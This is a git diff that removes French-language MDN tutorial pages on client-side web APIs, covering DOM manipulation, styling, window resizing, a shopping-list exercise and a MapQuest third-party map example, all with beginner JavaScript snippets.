var canvas = document.querySelector('canvas');
-var ctx = canvas.getContext('2d');
- -

Tout ce que nous voulons faire sur canvas est alors obtenu en appelant les propriétés et méthodes de l'objet conteneur (qui est une instance de {{domxref ("CanvasRenderingContext2D")}}). Par exemple :

- -
Ball.prototype.draw = function() {
-  ctx.beginPath();
-  ctx.fillStyle = this.color;
-  ctx.arc(this.x, this.y, this.size, 0, 2 * Math.PI);
-  ctx.fill();
-};
- -
-

Note : Vous pouvez voir le code source de notre démo « balles rebondissantes » (ou voir directement).

-
- -

Elles utilisent des événements pour réagir aux changements d'état

- -

Nous avons déjà parlé des événements plus haut dans ce cours, dans notre article Introduction aux événements — cet article explique en détail ce que sont les événements Web et leur utilisation dans votre code. Si vous ne vous êtes pas encore familiarisé avec le fonctionnement des événements de l'API Web côté client, vous devriez lire cet article avant de continuer.

- -

Certaines API Web ne détectent pas les événements, d'autres peuvent réagir à certains. Vous pouvez généralement trouver les propriétés des APIs qui permettent de lancer des fonctions lorsque les événements surviennent dans les sections "Gestionnaires d'événements" des documents de réference des APIs.

- -

À titre de simple exemple, les instances de l'objet XMLHttpRequest (qui représentent une requête HTTP vers le serveur pour récupérer une ressource) ont un certain nombre d'événements disponibles. Par exemple, l'événement load est déclenché lorsqu'une réponse a été retournée avec succès avec la ressource demandée, et qu'elle devient alors disponible:

- -
var requestURL = 'https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json';
-var request = new XMLHttpRequest();
-request.open('GET', requestURL);
-request.responseType = 'json';
-request.send();
-
-request.onload = function() {
-  var superHeroes = request.response;
-  populateHeader(superHeroes);
-  showHeroes(superHeroes);
-}
- -
-

Note : Vous pouvez voir le code source de notre exemple ajax.html (ou le voir directement).

-
- -

Les cinq premières lignes définissent l'emplacement de la ressource que nous voulons récupérer, créent une nouvelle instance d'un objet de requête en utilisant le constructeur XMLHttpRequest(), ouvrent une requête HTTP GET pour récupérer la ressource spécifiée, spécifient que la réponse doit être envoyée au format JSON, puis envoient la demande.

- -

La fonction gestionnaire onload indique ensuite ce qu'on fait avec la réponse. On sait que la réponse sera disponible dès que l'événement load est appelé (sauf si une erreur se produit), on sauvegarde donc la réponse — contenant le JSON renvoyé — dans la variable superHeroes, puis on la passe à deux fonctions différentes pour un traitement ultérieur.

- -

Elles ont des mécanismes de sécurité supplémentaires si nécessaire

- -

Les caractéristiques des APIs Web sont soumises aux mêmes considérations de sécurité que JavaScript et des autres technologies Web (par exemple, la same-origin policy), mais elles disposent parfois de mécanismes de sécurité supplémentaires.

- -

Par exemple, certaines des APIs Web les plus modernes ne fonctionneront que sur les pages HTTPS car elles transmettent des données potentiellement sensibles (exemple: Service Workers et Push).

- -

En outre, certaines APIs Web demandent l'autorisation d'être activés par l'utilisateur une fois que les appels sont faits dans votre code. Par exemple, vous avez peut-être remarqué une boîte de dialogue comme celle-ci lors du chargement de notre exemple de Geolocation précédent :

- -

- -

De même, l'API Notifications demande une autorisation:

- -

- -

Ces invites d'autorisation sont affichées aux utilisateurs pour des raisons de sécurité — si elles n'étaient pas en place, alors les sites pourraient commencer à suivre secrètement votre emplacement sans que vous le sachiez, ou à vous envoyer des messages indésirables avec beaucoup de notifications ennuyantes.

- -

Résumé

- -

À ce stade, vous devriez avoir une bonne idée de ce que sont les APIs, comment elles fonctionnent et ce que vous pouvez faire avec dans votre code JavaScript. Vous êtes probablement impatients de commencer à faire des choses amusantes avec des APIs spécifiques, alors allons-y ! Par la suite, nous verrons comment manipuler des documents avec le Document Object Model (DOM).

- -

{{NextMenu("Learn/JavaScript/Client-side_web_APIs/Manipulating_documents", "Learn/JavaScript/Client-side_web_APIs")}}

- -

Dans ce module

- - - -

 

diff --git a/files/fr/apprendre/javascript/client-side_web_apis/manipulating_documents/index.html b/files/fr/apprendre/javascript/client-side_web_apis/manipulating_documents/index.html deleted file mode 100644 index 79911663f8..0000000000 --- a/files/fr/apprendre/javascript/client-side_web_apis/manipulating_documents/index.html +++ /dev/null @@ -1,332 +0,0 @@ ---- -title: Manipuler des documents -slug: Apprendre/JavaScript/Client-side_web_APIs/Manipulating_documents -tags: - - API - - Apprendre - - Article - - Codage - - DOM - - Document Object Model - - Débutant - - JavaScript - - Navigator - - WebAPI - - Window -translation_of: Learn/JavaScript/Client-side_web_APIs/Manipulating_documents ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Introduction", "Learn/JavaScript/Client-side_web_APIs/Fetching_data", "Learn/JavaScript/Client-side_web_APIs")}}
- -

Quand on écrit des pages web et des applications, une des choses les plus courantes que l'on veut faire est de manipuler la structure du document d'une manière ou d'une autre. On le fait généralement en utilisant le Document Object Model (DOM), un ensemble d'APIs qui permettent de contrôler le HTML et le style — et qui utilisent massivement l'objet {{domxref("Document")}}. Dans cet article, nous allons voir comment utiliser le DOM en détail, ainsi que quelques APIs intéressantes qui peuvent modifier votre environnement.

- - - - - - - - - - - - -
Prérequis:Connaissances de base en informatique, notions de base d'HTML, CSS, et JavaScript — dont les objets JavaScript.
Objectif:Sa familiariser avec les APIs DOM, et autres APIs souvent associées au DOM et à la manipulation de document
- -

Les principaux composants du navigateur

- -

Les navigateurs web sont des logiciels très compliqués avec beaucoup de pièces mobiles, dont beaucoup qui ne peuvent pas être contrôlées ou manipulées par un développeur web en utilisant JavaScript. Vous pourriez penser que de telles limitations sont une mauvaise chose, mais les navigateurs sont verrouillés pour de bonnes raisons, la plupart du temps pour des raisons de sécurité. Imaginez qu'un site web puisse accéder à vos mots de passe stockés ou autre information sensible, et se connecter à des sites Web comme si c'était vous?

- -

Malgré les limitations, les APIs Web nous donnent accès à beaucoup de fonctionnalités, lesquelles nous permettent de faire pleins de choses géniales avec les pages web. Il existe quelques éléments évidents que vous utilisez régulièrement dans votre code — jetez un coup d'oeil au diagramme suivant, il représente les principaux composants du navigateur directemment impliqués dans l'affichage des pages web:

- -

- - - -

Dans cet article, nous allons principalement nous concentrer sur la manipulation du document, mais nous verrons également quelques autres éléments utiles.

- -

Le modèle objet du document (Document Object Model)

- -

Le document chargé dans l'onglet de votre navigateur, et donc son contenu, est accessible via un modèle objet du document — Document Objet Model en anglais, ou DOM. Il s'agit d'une structure arborescente créée par le navigateur et qui permet aux langages de programmation d'accéder facilement à la structure HTML — par exemple, le navigateur lui-même l'utilise pour appliquer les informations de style ou pour corriger les éléments lorsque le HTML est invalide, tandis qu'un développeur peut l'utiliser pour manipuler la page une fois qu'elle a été chargée.

- -

Nous avons créé une simple page d'example, dom-example.html (voir en direct). Essayez de l'ouvrir dans votre navigateur — c'est une page très simple qui contient un élément {{htmlelement("section")}}, à l'intérieur duquel se situe une image et un paragraphe avec un lien. Le code source HTML ressemble à ça:

- -
<!DOCTYPE html>
-<html>
-  <head>
-    <meta charset="utf-8">
-    <title>Simple DOM example</title>
-  </head>
-  <body>
-      <section>
-        <img src="dinosaur.png" alt="A red Tyrannosaurus Rex: A two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth.">
-        <p>Here we will add a link to the <a href="https://www.mozilla.org/">Mozilla homepage</a></p>
-      </section>
-  </body>
-</html>
- -

Le DOM, d'autre part, ressemble à ça:

- -

- -
-

Note: Ce diagramme du DOM a été créé en utilisant le Live DOM viewer de Ian Hickson.

-
- -

Vous pouvez voir ici que chaque élément et donnée texte dans le document a sa propre entrée dans l'arbre — appelé un noeud (node). Vous rencontrerez également différents termes pour décrire différents type de noeuds et leur position dans l'arbre par rapport à d'autres:

- - - -

Il est utile de vous familiariser avec ces termes avant de travailler avec le DOM, puisqu'un certain nombre de documentations les utilisent. Vous les avez peut-être déjà rencontrés si vous avez étudié CSS (ex. sélecteur descendant, sélecteur enfant).

- -

Apprentissage actif: Manipulations basiques du DOM

- -

Pour commencer l'apprentissage de la manipulation du DOM, commençons par la pratique.

- -
    -
  1. Faites une copie locale de la page dom-example.html et de l'image qui l'accompagne.
    2. -
  2. Ajoutez un élément <script></script> juste avant la balise fermante </body>.
    3. -
  3. Pour manipuler un élément dans le DOM, vous allez d'abord sélectionner cet élément et stocker une référence vers cet élément dans une variable. À l'intérieur de votre élément <script>, ajoutez la ligne suivante: - 
    var link = document.querySelector('a');
    -
    4. -
  4. Maintenant que nous avons une référence vers l'élément, nous pouvous commencer à le manipuler en utilisant les propriétés et les méthodes disponibles dessus (celles-ci sont définies sur les interfaces telles que {{domxref("HTMLAnchorElement")}} dans le cas d'un élément {{htmlelement("a")}}, et sur les interfaces plus génériques {{domxref("HTMLElement")}}, et {{domxref("Node")}} — qui représente tout noeud dans le DOM). Tout d'abord, nous allons changer le texte du lien en mettant à jour la valeur de la propriété {{domxref("Node.textContent")}}. Ajoutez la ligne suivante à la suite de la précédente: - 
    link.textContent = 'Mozilla Developer Network';
    -
    5. -
  5. Nous allons également changer l'URL où dirige le lien, pour qu'il ne dirige pas au mauvais endroit quand on clique dessus. Ajoutez la ligne suivante au bas de votre JavaScript: - 
    link.href = 'https://developer.mozilla.org';
    -
    6. -
- -
-

Notez que, comme beaucoup de choses en JavaScript, il y a plusieurs façons de sélectionner et récupérer une référence vers un élément dans une variable. {{domxref("Document.querySelector()")}} est l'approche moderne recommandée — elle est pratique puisqu'elle permet de sélectionner des éléments en utilisant les sélecteurs CSS. L'appel à querySelector() que nous avons utilisé plus tôt récupère le premier élément {{htmlelement("a")}} qui apparaît dans le document. Si vous vouliez récupérer plusieurs éléments, vous auriez pu utiliser {{domxref("Document.querySelectorAll()")}}, qui récupère tous les éléments du document qui correspondent au sélecteur, et retourne des références vers ces éléments dans un objet similaire à un tableau appelé un NodeList.

- -

Il existe des méthodes plus anciennes pour récupérer des références aux éléments, telles que:

- - - -

Ces deux dernières méthodes fonctionnent même dans les anciens navigateurs, contrairement à querySelector(), mais sont beaucoup moins pratiques. Jetez un coup d'oeil aux docs et essayez d'en trouver d'autres!

-
- -

Créer et placer de nouveaux noeuds

- -

Ce qui précède vous a donné un petit avant-goût de ce que vous pouvez faire, mais allons plus loin et regardons comment créer de nouveaux éléments.

- -
    -
  1. De retour à notre exemple, commençons par récupérer une référence vers notre élément {{htmlelement("section")}} — ajoutez le code suivant au bas de votre script existant (faites de même avec les lignes qui suivront): - 
    var sect = document.querySelector('section');
    -
    2. -
  2. Nous allons créer un nouveau paragraphe avec {{domxref("Document.createElement()")}} et lui donner un texte de la même manière que précédemment: - 
    var para = document.createElement('p');
-para.textContent = 'We hope you enjoyed the ride.';
    -
    3. -
  3. Nous pouvons maintenant ajouter ce paragraphe en bas de la section en utilisant {{domxref("Node.appendChild()")}}: - 
    sect.appendChild(para);
    -
    4. -
  4. Finallement, ajoutons un noeud texte au premier paragraphe, pour finir la phrase joliment. D'abord, créons un noeud texte avec {{domxref("Document.createTextNode()")}}: - 
    var text = document.createTextNode(' — the premier source for web development knowledge.');
    -
    5. -
  5. Puis, après avoir récupéré un référence vers le premier paragraphe, ajoutons-y le noeud texte: - 
    var linkPara = document.querySelector('p');
-linkPara.appendChild(text);
    -
    6. -
- -

C'est le plus gros de ce dont vous aurez besoin pour ajouter des noeuds au DOM — vous utiliserez beaucoup ces méthodes lorsque vous construirez des interfaces dynamiques (nous verrons quelques exemples plus tard).

- -

Déplacer des éléments

- -

Il peut y avoir des moments où vous allez vouloir déplacer des noeuds. Si on voulait déplacer le premier paragraphe au bas de la section, on pourrait faire ça:

- -
sect.appendChild(linkPara);
- -

Cela déplace le paragraphe tout au bas de la section. On pourrait penser que cela ajouterait une copie, mais ce n'est pas le cas — linkPara est une référence vers un et un seul élément. Si on voulait ajouter une copie, on devrait utiliser {{domxref("Node.cloneNode()")}} à la place.

- -

Supprimer des éléments

- -

Supprimer des éléments est également plutôt simple, du moins quand on a une référence de l'élément et de son parent. Dans notre cas, on peut utiliser {{domxref("Node.removeChild()")}}, comme ceci:

- -
sect.removeChild(linkPara);
- -

Vous pourriez aussi vouloir supprimer un élément en n'ayant qu'une référence vers cet élément, et c'est souvent le cas. Il n'existe pas de méthode pour dire à un noeud de se supprimer, vous auriez donc à faire comme suit:

- -
linkPara.parentNode.removeChild(linkPara);
- -

Testez les lignes ci-dessus dans votre code.

- -

Manipuler le style

- -

Il est possible de manipuler le style CSS JavaScript de plusieurs manières.

- -

Stylesheets

- -

Vous pouvez obtenir une liste de toutes les feuilles de style du document en utilisant {{domxref("Document.stylesheets")}}, qui retourne un tableau d'objets {{domxref("CSSStyleSheet")}}. Vous pouvez ainsi ajouter/supprimer des styles comme vous le souhaitez. Cependant, nous n'allons pas nous étendre sur ces fonctionnalités car elles sont archaïques et il est difficule de manipuler le style avec. Il y a des moyens plus simples.

- -

Propriété style

- -

La première façon consiste à ajouter des styles en ligne (inline style), directement sur les éléments que vous voulez styler. Pour ce faire, on utilise la propriété {{domxref("HTMLElement.style")}}, qui nous permet d'accéder au style en ligne des éléments du document. Vous pouvez définir les propriétés de cet objet pour mettre à jour directement le style en ligne d'un élément.

- -
    -
  1. À titre d'exemple, essayez d'ajouter les lignes suivantes au bas de votre JavaScript: - 
    para.style.color = 'white';
-para.style.backgroundColor = 'black';
-para.style.padding = '10px';
-para.style.width = '250px';
-para.style.textAlign = 'center';
    -
    2. -
  2. Rafraichissez la page et vous verrez que les styles ont été appliqués au paragraphe. Si vous regardez le paragraphe dans l'Inspecteur du navigateur, vous verrez que que ces lignes sont en effet ajoutées comme style en ligne au document: - 
    <p style="color: white; background-color: black; padding: 10px; width: 250px; text-align: center;">We hope you enjoyed the ride.</p>
    -
    3. -
- -
-

Note: Notez que les propriétés JavaScript qui représentent les propriétés CSS sont écrites en lower camel case tandis que la version CSS est liée par des tirets (par exemple backgroundColor au lieu de background-color). Assurez-vous de ne pas les mélanger, sans quoi ça ne marchera pas.

-
- -

Attribut classe

- -

Il y a un autre moyen de manipuler dynamiquement des styles sur votre document, que nous allons voir maintenant.

- -
    -
  1. Supprimez l'exemple précédent de votre JavaScript (5 lignes).
    2. -
  2. Ajoutez ce qui suit de le {{htmlelement("head")}} de votre HTML: - 
    <style>
-.highlight {
-  color: white;
-  background-color: black;
-  padding: 10px;
-  width: 250px;
-  text-align: center;
-}
-</style>
    -
    3. -
  3. Nous allons maintenant utiliser une méthode très utile pour la manipulation HTML de manière générale — {{domxref("Element.setAttribute()")}}. Cette fonction prend deux paramètres, le nom de l'attribut que vous voulez définir sur l'élémént et la valeur que vous voulez lui attribuer. En l'occurence, nous allons définir la classe de l'élément à highlight: - 
    para.setAttribute('class', 'highlight');
    -
    4. -
  4. Rafraichissez votre page, et vous pourrez constater qu'il n'y a aucun changement par rapport au dernier exemple. La seule différence est qu'on a utilisé une classe et non des styles en ligne.
    5. -
- -

La méthode que vous utilisez ne dépend que de vous; chacune a ses avantages et ses inconvénients. Les styles en ligne demandent moins de préparation et sont utiles pour un usage simple, tandis que l'usage des classes est une méthode plus puriste — on ne mélange pas le CSS et le JavaScript. Alors que vous construirez des applications de plus en plus volumineuses et complexes, vous allez probablement utiliser la dernière méthode plus fréquemment, mais c'est à vous de décider.

- -

À ce stade, nous n'avons pas vraiment fait quoi que soit d'utile! Il n'y a pas d'intérêt à générer du contenu statique avec JavaScript — autant l'écrire directement en HTML et ne pas utiliser JavaScript c'est plus complexe qu'HTML et vient avec quelques inconvénients, comme le fait que ce ne soit pas lisible par les moteurs de recherche.

- -

Dans les prochaines sections, nous verrons un exemple plus pratique de l'utilisation des APIs du DOM.

- -
-

Note: Vous pouvez trouver la version finale de dom-example.html sur GitHub (le voir en direct aussi).

-
- -

Apprentissage actif: Récupérer des informations à partir de l'objet Window

- -

Jusqu'à présent nous avons utilisé les fonctionnalités de {{domxref("Node")}} et {{domxref("Document")}} (le DOM) pour manipuler les documents, mais vous pouvez obtenir des données d'autres sources. Repensez à notre démo maps-example.html du dernier article — on y récupérait des données de géolocalisation pour afficher une carte de votre région. Vous devez juste vous assurer que vos données sont dans le bon format, et JavaScript rend cette tâche facile par rapport à de nombreux autres langages, puisqu'il est faiblement typé — par exemple, les nombres sont automatiquement convertis en chaîne de caractères quand on veut les afficher à l'écran.

- -

Dans cet exemple, nous allons résoudre un problème très commun — s'assurer que votre application est de la taille de la fenêtre, quelle que soit la taille de la fenêtre. C'est souvent utilisé pour les jeux, où vous voulez utiliser autant de place à l'écran que vous en avez pour jouer.

- -
    -
  1. Pour commencer, faites une copie locale des fichiers de démo window-resize-example.html et bgtile.png. Ouvrez le fichier html — vous verrez que nous avons un élément {{htmlelement("div")}} qui recouvre une petite partie de l'écran avec un motif de mosaïques. Nous allons l'utiliser pour représenter la surface de notre interface.
    2. -
  2. Premièrement, nous allons récupérer une référence au <div>, ainsi que la largeur et la hauteur de la fenêtre, et les stocker dans des variables — ces deux dernières valeurs sont faciles à obtenir via les propriétés {{domxref("Window.innerWidth")}} et {{domxref("Window.innerHeight")}}. Ajoutez les lignes qui suivent à l'intérieur de l'élément {{htmlelement("script")}}: - 
    var div = document.querySelector('div');
-var WIDTH = window.innerWidth;
-var HEIGHT = window.innerHeight;
    -
    3. -
  3. Ensuite, nous allons modifier dynamiquement la largeur et hauteur du <div> pour qu'elles soient égales à celles de la fenêtre. Ajoutez les lignes suivantes à la suite des précédentes: - 
    div.style.width = WIDTH + 'px';
-div.style.height = HEIGHT + 'px';
    -
    4. -
  4. Sauvegardez et rafraichissez votre page — vous devriez désormais voir que le <div> est aussi grand que la fenêtre, quelle qu'en soit la taille. Si maintenant vous essayez d'agrandir votre fenêtre, vous pouvez constater qu'il ne change pas de taille — nous ne définissons la taille qu'une seule fois.
    5. -
  5. Nous pouvons utiliser un gestionnaire d'événément pour que le <div> soit redimensionné à chaque fois que la fenêtre est redimensionnée. L'objet {{domxref("Window")}} a pour ça un événement disponible appelé resize, qui est déclenché lorsque la fenêtre est redimensionnée — nous pouvons utiliser le gestionnaire d'événement {{domxref("Window.onresize")}} pour ré-exécuter notre code de dimensionnement à chaque fois. Ajoutez ce qui suit au bas de votre code: - 
    window.onresize = function() {
-  WIDTH = window.innerWidth;
-  HEIGHT = window.innerHeight;
-  div.style.width = WIDTH + 'px';
-  div.style.height = HEIGHT + 'px';
-}
    -
    6. -
- -
-

Note: Vous pouvez trouver notre exemple de redimensionnement de la fenêtre terminé sur Github (voir en direct aussi).

-
- -

Apprentissage actif: Une liste de courses dynamique

- -

Pour clore l'article, nous aimerions vous proposer un petit challenge — nous voulons créer une simple liste de courses qui nous permette d'ajouter des items à la liste dynamiquement en utilisant un champ de formulaire et un bouton. Quand vous ajoutez une valeur au champ et appuyez sur le bouton:

- - - -

La démo terminée doit ressembler à ça:

- -

- -

Pour compléter l'exercice, suivez les étapes ci-dessous, et assurez-vous que votre exemple se comporte comme décrit ci-dessus.

- -
    -
  1. Tout d'abord, téléchargez une copie du fichier shopping-list.html. Vous verrez qu'il contient un peu de CSS, un label, champ et bouton, une liste vide et un élément {{htmlelement("script")}}. Vous devrez apporter toutes vos modifications à l'intérieur du script.
    2. -
  2. Créez trois variables, contenant des références à la liste {{htmlelement("ul")}}, champ {{htmlelement("input")}}, et bouton {{htmlelement("button")}}.
    3. -
  3. Créez une fonction qui est déclenchée lorsqu'on clique sur le bouton.
    4. -
  4. À l'intérieur du corps de la fonction, commencez par stoquer la valeur (propriété value) du champ dans une variable.
    5. -
  5. Ensuite, videz le champ en définissant sa valeur à une chaîne vide — ''.
    6. -
  6. Créez trois nouveaux éléments — un élément de liste {{htmlelement('li')}}, un {{htmlelement('span')}} et {{htmlelement('button')}}, et stockez-les dans des variables.
    7. -
  7. Ajoutez le <span> et <button> comme enfant du <li>.
    8. -
  8. Définissez le contenu du <span> à la valeur du champ que vous avez récupéré précedemment, et définissez le contenu du boutton à "Supprimer".
    9. -
  9. Ajoutez le <li> comme enfant de la liste.
    10. -
  10. Ajoutez un gestionnaire d'événément pour le bouton "Supprimer", pour que quand il est cliqué, le <li> dans lequel il se situe est supprimé.
    11. -
  11. Finalement, utilisez la méthode {{domxref("HTMLElement.focus")}} pour donner le focus au champ, qu'il soit prêt à recevoir la valeur du prochain élément.
    12. -
- -
-

Note: Si vous êtes vraiment bloqué, vous pouvez regarder notre liste de courses terminée (voir en direct.)

-
- -

Sommaire

- -

Nous avons finit de voir la manipulation du document par le DOM. À ce stade, vous devriez comprendre quels sont les composants importants du navigateur web en ce qui concerne le contrôle des documents et l'expérience utilisateur sur le web. Plus important encore, vous devriez comprendre ce qu'est le Document Object Model, et comment l'utiliser pour créer des fonctionnalités utiles.

- -

Voir aussi

- -

Il y a beaucoup plus à voir que ce qui est couvert dans cet article. Jetez un coup d'oeil à nos références pour en découvrir davantage:

- - - -

(Voir notre Référence Web API pour une liste complètes des APIs web documentées sur MDN!)

- -
{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Introduction", "Learn/JavaScript/Client-side_web_APIs/Fetching_data", "Learn/JavaScript/Client-side_web_APIs")}}
- -
-

Dans ce module

- - -
diff --git a/files/fr/apprendre/javascript/client-side_web_apis/third_party_apis/index.html b/files/fr/apprendre/javascript/client-side_web_apis/third_party_apis/index.html deleted file mode 100644 index f8e36b2078..0000000000 --- a/files/fr/apprendre/javascript/client-side_web_apis/third_party_apis/index.html +++ /dev/null @@ -1,440 +0,0 @@ ---- -title: API tierces -slug: Apprendre/JavaScript/Client-side_web_APIs/Third_party_APIs -tags: - - API - - Apprendre - - Débutant -translation_of: Learn/JavaScript/Client-side_web_APIs/Third_party_APIs ---- -
{{LearnSidebar}}{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Fetching_data", "Learn/JavaScript/Client-side_web_APIs/Drawing_graphics", "Learn/JavaScript/Client-side_web_APIs")}}
- -

Jusqu'à présent, nous avons uniquement abordé des API qui sont fournies par le navigateur. Il en existe d'autres : de nombreux sites et services, tels que Google Maps, Twitter, Facebook, PayPal, etc. fournissent des API permettant aux développeurs d'exploiter leurs données (ex. afficher un flux Twitter sur un blog) ou leurs services (utiliser l'outil de connexion Facebook pour que vos utilisateurs se connectent sur votre application). Dans cet article, nous verrons les différences entre les API du navigateur et celles fournies par des services tiers (en anglais, on parle de « third-party API ») et nous illustrerons certains cas d'usage pour ces API tierces.

- - - - - - - - - - - - -
Prérequis :Les bases de JavaScript (voir premiers pas, blocs de construction, les objets JavaScript), les bases des API côté client.
Objectifs :Comprendre le fonctionnement des API tierces et comment les utiliser pour ajouter des fonctionnalités à ses sites / applications.
- -

Qu'est-ce qu'une API tierce ?

- -

Les API tierces sont des API qui sont fournis par des tiers, généralement des entreprises comme Facebook, Twitter ou Google, qui permettent d'accéder à leurs données et/ou leurs fonctionnalités grâce à JavaScript afin de les utiliser sur son site. Utiliser une API de cartographie afin d'afficher une carte sur une page est un exemple.

- -

Regardons cet exemple qui utilise l'API MapQuest et voyons avec lui les différences entre les API tierces et celles du navigateur.

- -
-

Note : Vous pouvez récupérer l'ensemble des exemples de code en une seule fois. Dans ce cas, il vous suffit de rechercher dans votre dépôt les fichiers utilisés pour chaque section.

-
- -

Elles sont situées sur des serveurs tiers

- -

Les API fournies par le navigateur sont construites dans le navigateur et on peut y accéder immédiatement avec du code JavaScript. Ainsi, l'API Web Audio que nous avons vu dans cet article introductif s'utilise via l'objet {{domxref("AudioContext")}} fourni nativement :

- -
const audioCtx = new AudioContext();
-  ...
-const audioElement = document.querySelector('audio');
-  ...
-const audioSource = audioCtx.createMediaElementSource(audioElement);
-// etc.
- -

En revanche, les API tierces sont situées sur des serveurs tiers. Pour y accéder avec JavaScript, il faut d'abord se connecter aux fonctionnalités de l'API afin de les rendre disponibles sur la page. Pour cela, on pourra utiliser une bibliothèque JavaScript disponible sur le serveur via un élément {{htmlelement("script")}}. Pour notre exemple avec MapQuest, voici ce que ça donne :

- -
<script src="https://api.mqcdn.com/sdk/mapquest-js/v1.3.2/mapquest.js"></script>
-<link type="text/css" rel="stylesheet" href="https://api.mqcdn.com/sdk/mapquest-js/v1.3.2/mapquest.css"/>
- -

On peut alors utiliser les objets fournis par cette bibliothèque. Voici un fragment de code qui illustre cette utilisation :

- -
var L;
-
-var map = L.mapquest.map('map', {
-  center: [53.480759, -2.242631],
-  layers: L.mapquest.tileLayer('map'),
-  zoom: 12
-});
- -

Ici on crée une variable dans laquelle enregistrer les informations de la carte puis on crée une nouvelle carte à l'aide de la méthode mapquest.map() qui prend comme argument :

- - - -

C'est tout ce dont l'API MapQuest a besoin pour dessiner une carte. C'est le serveur auquel on se connecte qui gère les aspects plus compliqués (comme afficher les bonnes tuiles pour la zone géographique, etc.).

- -
-

Note : Certaines API fonctionnent différemment pour l'accès aux fonctionnalités et passent par une requête HTTP sur une URL spécifique pour récupérer les données. Ces API sont appelées API REST (ou RESTful APIs en anglais) et nous les abordons plus bas dans l'article.

-
- -

Des clés d'API sont nécessaires pour les utiliser

- -

Dans les navigateurs, comme nous l'avons vu dans le premier article, les sécurités relatives aux API sont gérées via des permissions afin d'avertir l'utilisateur et d'éviter les utilisations malveillantes de la part des sites.

- -

Pour les API tierces, le système est légèrement différent. Généralement, ce sont des clés qui sont utilisées afin de fournir aux développeurs l'accès aux fonctionnalités de l'API. Dans ce système, la clé sert plutôt à protéger des abus de la part des développeurs envers le site tiers.

- -

Dans l'exemple MapQuest, vous pourrez trouver une ligne semblable à celle-ci :

- -
L.mapquest.key = 'VOTRE-CLE-D-API-ICI';
- -

Cette ligne indique une clé d'API utilisée par notre application. Le développeur de l'application doit obtenir une clé et l'inclure dans le code de l'application afin de pouvoir accéder aux fonctionnalités de l'API. Pour cet exemple, il s'agit d'une valeur imaginaire.

- -
-

Note : Lorsque vous construisez votre propre application, utilisez une « vraie » valeur de clé plutôt que la valeur de substitution fournie en exemple.

-
- -

Certaines API peuvent nécessiter de fournir la clé d'une façon différente mais le fonctionnement général reste similaire.

- -

L'existence d'une telle clé d'API permet au fournisseur tiers de contrôler les accès et actions des différents développeurs/utilisateurs. Ainsi, lorsqu'un développeur demande une clé, il devient alors connu du fournisseur de l'API et ce dernier peut agir de son côté si l'API est détournée ou utilisée de façon incorrecte (par exemple pour pister des personnes ou parce que le site du développeur sollicite l'API avec de trop nombreuses requêtes). Dès qu'un usage incorrect est détecté du côté du fournisseur, il suffit alors de révoquer l'accès et de couper ou de limiter les accès pour cette clé.

- -

Étendre l'exemple « MapQuest »

- -

Ajoutons quelques fonctionnalités à cet exemple MapQuest afin d'illustrer le fonctionnement d'autres aspects de l'API.

- -
    -
  1. -

    Pour commencer cette section, copiez le fichier initial dans un nouveau répertoire. Si vous avez déjà cloné le dépôt des exemples, vous disposez déjà d'une copie située sous le répertoire javascript/apis/third-party-apis/mapquest.

    -
    2. -
  2. -

    Ensuite, rendez-vous sur le site MapQuest pour les développeurs, créez un compte puis créez une clé de développement (au moment où nous écrivons ces lignes, sur le site, le nom utilisé est "consumer key" et la procédure de création demande aussi la saisie d'une URL "callback URL" qui est optionnelle (vous pouvez la laisser vide).

    -
    3. -
  3. Ouvrez un éditeur pour éditer le fichier initial et remplacez la valeur pour la clé d'API avec la vôtre.
    4. -
- -

Modifier le type de la carte

- -

L'API MapQuest permet d'afficher différents types de carte. Localisez la ligne suivante dans votre fichier :

- -
layers: L.mapquest.tileLayer('map')
- -

Ici, vous pouvez changer 'map' en 'hybrid' afin d'afficher une carte avec un style hybride. Vous pouvez essayer d'autres valeurs comme celles indiquées sur la page de référence de la méthode tileLayer().

- -

Ajouter différents contrôles

- -

Sur la carte, on peut utiliser différents contrôles. Par défaut, seul un contrôle pour le zoom est affiché. Il est possible d'étendre les contrôles disponibles en utilisant la méthodemap.addControl(). Ajoutez la ligne suivante à l'intérieur du gestionnaire window.onload :

- -
map.addControl(L.mapquest.control());
- -

La méthode mapquest.control() crée un ensemble complet de contrôle et est placée, par défaut, dans le coin supérieur droit de la carte. Cette position peut être ajustée grâce à un paramètre d'options contenant une propriété position dont la valeur est un mot-clé décrivant la position souhaitée. Vous pouvez modifier la ligne de la façon suivante par exemple :

- -
  map.addControl(L.mapquest.control({ position: 'bottomright' }));
- -

D'autres types de contrôle sont disponibles comme mapquest.searchControl() et mapquest.satelliteControl(). Certains sont avancés et permettent de nombreuses choses. N'hésitez pas à en essayer différents pour voir ce qui vous semble le mieux pour votre projet.

- -

Ajouter un marqueur personnalisé

- -

Pour ajouter une icône sur un point de la carte, on pourra utiliser la méthode L.marker()  (documentée dans la documentation de Leaflet.js). Dans window.onload, vous pouvez ajouter le fragment de code suivante window.onload :

- -
L.marker([53.480759, -2.242631], {
-  icon: L.mapquest.icons.marker({
-    primaryColor: '#22407F',
-    secondaryColor: '#3B5998',
-    shadow: true,
-    size: 'md',
-    symbol: 'A'
-  })
-})
-.bindPopup('Ici se trouve Manchester !')
-.addTo(map);
- -

Comme on peut le voir ici, la méthode peut prendre deux paramètres :

- - - -

L'icône est définie via un appel à la méthode mapquest.icons.marker() à laquelle on fournit des informations telles que la couleur et la taille du marqueur.

- -

Après l'appel à la première méthode, on enchaîne avec un appel avec .bindPopup('Ici se trouve Manchester !'), qui fournit le contenu à afficher lorsqu'on cliquera sur le marqueur.

- -

Enfin, on chaîne un appel .addTo(map) pour ajouter le marqueur sur la carte.

- -

Essayez les différentes options que vous trouverez dans la documentation et voyez quel résultat vous pouvez obtenir ! MapQuest fournit certaines fonctionnalités relativement avancées (itinéraire, recherche, etc.).

- -
-

Note : Si vous ne parvenez pas à faire fonctionner l'exemple, vous pouvez consulter la version finalisée de notre exemple : expanded-example.html.

-
- -

Quid de Google Maps ?

- -

Google Maps est sans doute l'API de cartographie la plus populaire. Pourquoi ne l'avons-nous pas incluse ici ? Nous avons choisi MapQuest pour plusieurs raisons :

- - - -

Une approche pour utiliser les API tierces

- -

Une API REST du NYTimes

- -

